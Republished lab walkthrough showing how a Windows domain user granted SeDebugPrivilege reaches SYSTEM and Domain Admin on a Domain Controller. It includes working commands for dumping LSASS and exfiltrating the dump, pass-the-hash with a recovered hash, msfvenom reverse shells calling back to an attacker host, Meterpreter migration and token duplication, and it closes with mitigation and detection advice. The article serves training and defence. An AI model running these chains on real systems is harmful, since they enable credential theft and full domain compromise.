Seguridad

Windows Privilege Escalation: SeDebugPrivilege

Overview

This article delivers an end-to-end walkthrough of how a single delegated user right — SeDebugPrivilege — collapses the security boundary between a standard domain user and full administrative control of a Windows Domain Controller. The narrative opens by explaining what the privilege authorises, then builds the exact misconfiguration in a lab: a fresh domain user is created, granted the Debug programs right through Group Policy, and verified over a remote PowerShell session. From that single foothold, four independent exploitation chains are executed against the same Domain Controller. The first dumps LSASS with a signed Microsoft tool and recovers the Domain Administrator’s NTLM hash offline. The second migrates a Meterpreter session into winlogon.exe to land a live SYSTEM shell. The third and fourth chains use a purpose-built token-duplication utility to spawn either an interactive SYSTEM prompt or a reverse shell back to the attacker. The article closes with concrete mitigation guidance covering policy hygiene, LSA Protection, Credential Guard, and the detection opportunities each technique leaves behind.

Table of Contents

  • Introduction
  • Lab Environment
  • Understanding SeDebugPrivilege
  • Creating the Domain User
  • Assigning SeDebugPrivilege via Group Policy
  • Enforcing the Policy
  • Verifying the Privilege Remotely
  • Exploitation 1 — LSASS Dump with ProcDump and pypykatz
  • Exploitation 2 — Meterpreter Migration to winlogon.exe
  • Exploitation 3 — SeDebugPrivesc Standalone Exploit
  • Mitigation Strategies
  • Conclusion

Introduction

SeDebugPrivilege is one of the most dangerous rights an attacker can inherit on a Windows host. It grants a user the ability to open, read, and write the memory of any process on the system — including the Local Security Authority Subsystem Service (LSASS), the process responsible for caching credentials of every user currently logged on. Once a low-privileged domain account is granted this right, the path to full domain compromise becomes short: dump LSASS, extract secrets, and pivot as an administrator — or borrow the token of any SYSTEM process on the machine and skip the credential recovery step entirely. This article walks through the assignment of SeDebugPrivilege via Group Policy, verifies the privilege from a remote session, and demonstrates several distinct exploitation chains that each end with SYSTEM or Domain Administrator access on an Active Directory environment.

Lab Environment

The demonstration targets a Windows Server Domain Controller (DC) belonging to the ignite.local domain, reachable at 192.168.1.11. The attacker operates from a Kali Linux host at 192.168.1.17 using Evil-WinRM for remote PowerShell access. A standard domain user account named raaj is created and later assigned SeDebugPrivilege through Group Policy, simulating a common misconfiguration.

Understanding SeDebugPrivilege

SeDebugPrivilege, exposed in policy editors as “Debug programs”, allows a security principal to attach a debugger to any process — including those running under NT AUTHORITYSYSTEM. Windows originally reserved this right for developers troubleshooting kernel-level and system-service issues, but in practice, it is functionally equivalent to full local administrative access. Holders of the privilege can read the private memory of protected system processes, inject shellcode into them, or impersonate their access tokens. Because LSASS runs as SYSTEM and stores cached NTLM hashes and Kerberos tickets in its address space, any account with SeDebugPrivilege on a Domain Controller effectively controls the domain.

By default, only members of the Administrators group are granted this right. When it is delegated to a lower-privileged user or group — often for legitimate but poorly scoped reasons such as supporting a monitoring agent — the assignment becomes a direct path to privilege escalation.

Creating the Domain User

The attack scenario begins on the Domain Controller, where the administrator provisions a new standard domain account named raaj with the password Password@1. The /domain switch tells the net user utility to create the object in Active Directory rather than in the local SAM database, and the command completes without elevating the account to any administrative group.

net user raaj Password@1 /add /domain

The image above confirms the account is created successfully in the domain.

Assigning SeDebugPrivilege via Group Policy

With the account in place, the next step opens the Group Policy Management Console (GPMC) — the standard tool for editing domain-wide policy objects. The console launches directly from an elevated command prompt using its Microsoft Management Console snap-in name.

gpmc.msc

The GPMC window loads once the command executes.

Inside GPMC, the console tree exposes the forest, its domains, and the organizational units that hold Group Policy Objects. Because Debug programs are a User Rights Assignment that must apply to the Domain Controller itself, the operator navigates to Forest → Domains → ignite.local → Domain Controllers, right-clicks the Default Domain Controllers Policy, and selects Edit to open it in the Group Policy Management Editor.

The Group Policy Management Editor exposes the full policy tree for the selected GPO. The path to the target setting runs through Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → User Rights Assignment. The right-hand pane lists every user right that can be delegated on machines to which the GPO applies. The setting of interest, Debug programs, appears in the middle of the list and currently reads Not Defined.

Double-clicking Debug programs opens its Properties dialogue box. Ticking the Define this policy settings checkbox activates the assignment, and the default entry — Administrators — appears in the list. The Add User or Group button below invites additional principals into the delegation.

The Add User or Group button accepts principals in the standard DOMAINusername notation. Entering IGNITEraaj queues the previously created domain user for the assignment. The Browse button is available for resolving names against Active Directory, but a fully qualified DOMAINuser value is accepted directly.

After confirming the addition, the Properties list now shows two entries: the built-in Administrators group and the newly delegated IGNITEraaj account. Applying and closing the dialog commits the change to the GPO. From this moment on, the raaj account holds Debug programs on every Domain Controller in the domain.

Enforcing the Policy

Group Policy refreshes on the target machines according to a schedule, but the operator forces an immediate application with gpupdate /force. This flushes the local cache, re-reads the modified GPO from the Domain Controller, and applies the new user right without waiting for the background refresh cycle.

gpupdate /force

Verifying the Privilege Remotely

From the Kali attacker host, Evil-WinRM opens an authenticated PowerShell session against the Domain Controller using the raaj account and its plaintext password. Once the shell lands, the whoami /priv command enumerates every privilege currently held in the user’s access token.

evil-winrm -i 192.168.1.11 -u raaj -p Password@1
whoami /priv

The output confirms that SeDebugPrivilege is present and, more importantly, Enabled — meaning the token can immediately exercise the right without any additional privilege elevation call. This is the green light for every technique that follows.

Exploitation 1 — LSASS Dump with ProcDump and pypykatz

The first and most direct exploitation technique dumps LSASS memory to disk, exfiltrates the dump to the attacker host, and parses it offline to extract cached credentials. Microsoft ships a signed utility perfectly suited to the task: ProcDump, part of the Sysinternals suite. Because the binary is Authenticode-signed by Microsoft, it typically evades most endpoint security products that would block Mimikatz outright.

The ProcDump download page on Microsoft Learn provides the current release. At the time of writing, ProcDump v12.0 is the latest version and is downloaded directly onto the Kali host.

Back in the Evil-WinRM session, the upload command copies procdump.exe from the Kali host into the raaj user’s Documents folder on the Domain Controller. Once uploaded, ProcDump is executed with the -accepteula flag to silently accept the licence agreement and -ma to write a full memory dump of the lsass.exe process into a file named lsass.dmp. The final download command pulls the 177 MB dump back to the attacker.

upload /root/procdump.exe
./procdump.exe -accepteula -ma lsass.exe lsass.dmp
download lsass.dmp

With lsass.dmp on the Kali host, pypykatz parses the dump entirely offline. pypykatz is a pure-Python re-implementation of Mimikatz’s sekurlsa module and reads the LSASS structures directly out of the minidump without touching the target again.

pypykatz lsa minidump lsass.dmp

The tool iterates through every logon session recorded in the dump, printing SIDs, usernames, and logon timestamps for each one. The output below shows the raaj session — the expected result of the current Evil-WinRM connection.

Further down the output, a much more interesting session appears. The Administrator account had an active session on the Domain Controller when the dump was taken, and pypykatz has recovered the NTLM hash straight from the MSV structure. The hash, 32196b56ffe6f45e294117b91a83bf38, is the credential material required for a Pass-the-Hash attack. Kerberos AES128 and AES256 keys are also visible, expanding the operator’s options for both PtH and Overpass-the-Hash techniques.

Evil-WinRM natively supports NTLM authentication through the -H flag, so no password is required. Passing the recovered hash as the administrator account produces an interactive PowerShell session that lands directly in C:UsersAdministratorDocuments — full Domain Administrator access on the Domain Controller.

evil-winrm -i 192.168.1.11 -u administrator -H 32196b56ffe6f45e294117b91a83bf38

Exploitation 2 — Meterpreter Migration to winlogon.exe

The second technique swaps offline hash extraction for an interactive, in-memory pivot. Because SeDebugPrivilege permits writing to any process, a Meterpreter payload running under the raaj session can migrate its own thread into a SYSTEM-owned process such as winlogon.exe and inherit its token. The result is a live SYSTEM shell without any credential recovery.

The first step generates a staged reverse TCP Meterpreter payload with msfvenom. The listener address points back to the Kali attacker on port 4444.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.17 lport=4444 -f exe > shell.exe

In parallel, Metasploit is launched with a quiet banner and the multi-handler module is configured to catch the incoming connection. The handler binds locally on port 4444 and matches the payload used by msfvenom.

msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.17
set lport 4444
run

The generated shell.exe is uploaded through the existing Evil-WinRM session and executed on the Domain Controller. Because the raaj token holds SeDebugPrivilege, no additional bypass is required to interact with system processes once the callback lands.

upload /root/shell.exe
./shell.exe

On the Metasploit side, the handler receives the connection and opens a Meterpreter session. The getuid command reports the shell is currently running as IGNITEraaj. Filtering the process list for winlogon returns its Process ID — 772 in this run — and the migrate command relocates the Meterpreter thread into that process. Because winlogon.exe runs as NT AUTHORITYSYSTEM, and because SeDebugPrivilege permits the write into its address space, the migration succeeds. A second getuid confirms the session is now SYSTEM — full local compromise of the Domain Controller.

getuid
ps winlogon
migrate 772
getuid

Exploitation 3 — SeDebugPrivesc Standalone Exploit

The third technique replaces the Meterpreter chain with a purpose-built binary. SeDebugPrivesc, published on GitHub by bruno-1337, is a minimal C# tool that takes a target Process ID as its argument, opens the process using SeDebugPrivilege, duplicates its access token, and spawns a new cmd.exe under that token. Pointing it at winlogon.exe yields an interactive SYSTEM shell in a single command. The latest release is downloaded from the project’s releases page as a compiled SeDebugPrivesc.exe of roughly 17.5 KB.

The binary is uploaded through the Evil-WinRM session in the same manner as the previous payloads. Once on disk, the ps winlogon cmdlet is used to look up the current Process ID of winlogon.exe — in this session, PID 640. That value is the argument the exploit expects.

upload /root/SeDebugPrivesc.exe
ps winlogon

Executing SeDebugPrivesc.exe with the discovered PID triggers the token-duplication routine and spawns a new command shell running as NT AUTHORITYSYSTEM, without the overhead of a full Meterpreter framework.

./SeDebugPrivesc.exe 640

SeDebugPrivesc accepts an optional second argument: a path to an executable that will be spawned under the duplicated SYSTEM token instead of the default cmd.exe. This variant lets the operator hand off SYSTEM control to any binary of their choosing — most usefully, a reverse shell that calls back to the attacker over the network. The technique is functionally similar to Exploitation 2 but avoids the Meterpreter framework entirely.

Preparing the Reverse Shell Payload

The payload is generated on the Kali attacker host at 192.168.1.17 using msfvenom. The chosen template is windows/shell_reverse_tcp, a lightweight stageless reverse cmd.exe rather than a full Meterpreter payload — smaller, faster to load, and comfortably caught by any TCP listener. The listener port is set to 443 to blend with routine outbound HTTPS traffic, and the output is written to shell.exe.

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.17 lport=443 -f exe > shell.exe

Msfvenom reports a 324-byte payload wrapped in a 7,168-byte Windows executable, ready for delivery.

Executing SeDebugPrivesc Against winlogon.exe

Back inside the existing Evil-WinRM session as IGNITEraaj, the newly generated shell.exe is uploaded to the user’s Documents folder alongside the previously staged SeDebugPrivesc.exe. Both binaries now sit on the Domain Controller, and the exploit tool is invoked with two arguments: the target Process ID (640 — winlogon.exe from the previous step) and the path to the payload it should launch. SeDebugPrivesc opens winlogon using SeDebugPrivilege, duplicates its SYSTEM access token, and starts shell.exe under that token.

upload /root/shell.exe
./SeDebugPrivesc.exe 640 shell.exe

The tool confirms the token hijack succeeded, prints the parent PID it acted on (640), and reports the new process created with PID 2364 and thread ID 2740. That new process is shell.exe, now running as NT AUTHORITYSYSTEM.

Receiving the SYSTEM Shell

On the Kali host, a Netcat listener is opened on port 443 — the same port encoded into the payload — and wrapped with rlwrap to provide line editing and command history for the incoming shell. Almost immediately, the reverse connection lands and drops the operator into a Windows command prompt sitting in the raaj Documents directory.

rlwrap nc -lvp 443

The banner identifies the host as Windows 10.0.17763.737 — Windows Server 2019 — and a whoami confirms the shell is running as nt authoritysystem. The chain is complete: a standard domain user with nothing more than SeDebugPrivilege has just been elevated to SYSTEM on the Domain Controller with a signed-tool workflow, a 7 KB payload, and a single Netcat listener.

whoami

Mitigation Strategies

The four chains demonstrated in this article share a single root cause: the delegation of Debug programs to a non-administrative principal. Effective defence therefore, begins with removing that delegation. The Default Domain Controllers Policy should restrict Debug programs to the Administrators group only, and any exception granted for a monitoring, backup, or performance product should be narrowly scoped, formally documented, and revisited at every audit cycle.

Beyond the specific privilege assignment, defenders should enable LSA Protection (RunAsPPL = 1) so that LSASS runs as a Protected Process Light, blocking memory reads even from SeDebugPrivilege-holding users unless a signed kernel driver is loaded. Credential Guard raises the bar further by isolating secrets in a virtualisation-based enclave that lives outside the reach of any user-mode debugger. Windows Defender Attack Surface Reduction includes a rule that specifically blocks credential-stealing reads from LSASS and should be enabled in audit mode first, then enforced once compatible.

Endpoint detection rules that alert on ProcDump execution against lsass.exe, on suspicious writes to winlogon.exe, and on the creation of child processes from winlogon or lsass will surface the exact behaviours used in every chain above. The fourth chain in particular leaves three distinct signals a well-tuned EDR should catch: an unusual child process spawned by winlogon.exe, an outbound TCP connection from that child to an external host on a non-standard port for that process, and a token duplication event originating from a non-administrative user context. Finally, Domain Controllers should be treated as tier-zero assets: interactive logons by any account other than a small, monitored set of administrators should trigger investigation, and administrative sessions to a DC should originate only from dedicated Privileged Access Workstations.

Conclusion

SeDebugPrivilege is not a subtle misconfiguration — it is a full delegation of debugger authority over every process on a host, and on a Domain Controller it is equivalent to Domain Admin. The four chains presented above — signed-tool LSASS dumping, Meterpreter migration into winlogon, a single-purpose token duplicator spawning cmd.exe, and the same duplicator launching a reverse shell — each convert the assignment into SYSTEM or Domain Administrator access with modest effort. What makes the privilege particularly dangerous is how little exotic tooling any of the chains require: no custom malware, no zero-day, and in the signed-tool chain, not even a binary that would be flagged as malicious in isolation. Auditing User Rights Assignments across every GPO in the forest and revoking Debug programs from anyone outside the Administrators group closes the door before an operator ever gets to open it.

The post Windows Privilege Escalation: SeDebugPrivilege appeared first on Hacking Articles.

Powered by WPeMatico

Gustavo Genez

Informático de corazón y apasionado por la tecnología. La misión de este blog es llegar a los usuarios y profesionales con información y trucos acerca de la Seguridad Informática.